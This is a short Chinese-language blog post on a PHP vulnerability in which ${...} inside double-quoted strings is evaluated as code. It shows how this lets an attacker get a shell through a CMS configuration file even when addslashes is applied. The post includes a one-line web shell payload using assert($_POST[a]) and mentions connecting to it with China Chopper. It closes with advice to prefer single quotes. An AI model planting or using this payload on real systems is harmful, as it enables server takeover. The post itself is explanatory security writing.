PHP中雙引号引起的指令執行漏洞
在PHP語言中,單引号和雙引号都可以表示一個字元串,但是對于雙引号來說,可能會對引号内的内容進行二次解釋,這就可能會出現安全問題。
0|1正文
舉個簡單例子
<?php
$a = 1;
$b = 2;
echo '$a$b';//輸出結果為$a$b
echo "$a$b";//輸出結果為12
?>
可以看到這兩個輸出的結果并不相同。
在雙引号中倘若有${}出現,那麼{}内的内容将被當做代碼塊來執行。
可以看到成功執行了phpinfo()
試想一下,倘若在一個cms的背景,可以修改資料庫的配置檔案,且配置檔案中的值用雙引号包括,我們雖然也可以直接閉合代碼達到getshell的後果,但是如果cms對傳遞的參數進行了addlashes()處理的話,我們就無法去閉合代碼了,但這時我們可以傳入${指令}就可以達到getshell的目的。
現在,讓我們來修改一下代碼,讓我們不隻能輸出phpinfo
<?php echo "${@assert($_POST[a])}";?> //@是用來防止輸出錯誤資訊的
菜刀成功連接配接
0|1總結
本文簡單記錄了雙引号可能會引發的代碼執行的情況
對于這種漏洞的防禦,一定要明确單引号與雙引号的差別所在,不要簡單認為兩者是互相可以替代的,在平時的代碼書寫中能隻用單引号一定不要用雙引号,畢竟單引号的解釋時間也比雙引号少得多,代碼運作相對更快。
EOF
作 者:Yunen
出 處:
https://www.cnblogs.com/yunen/p/10600410.html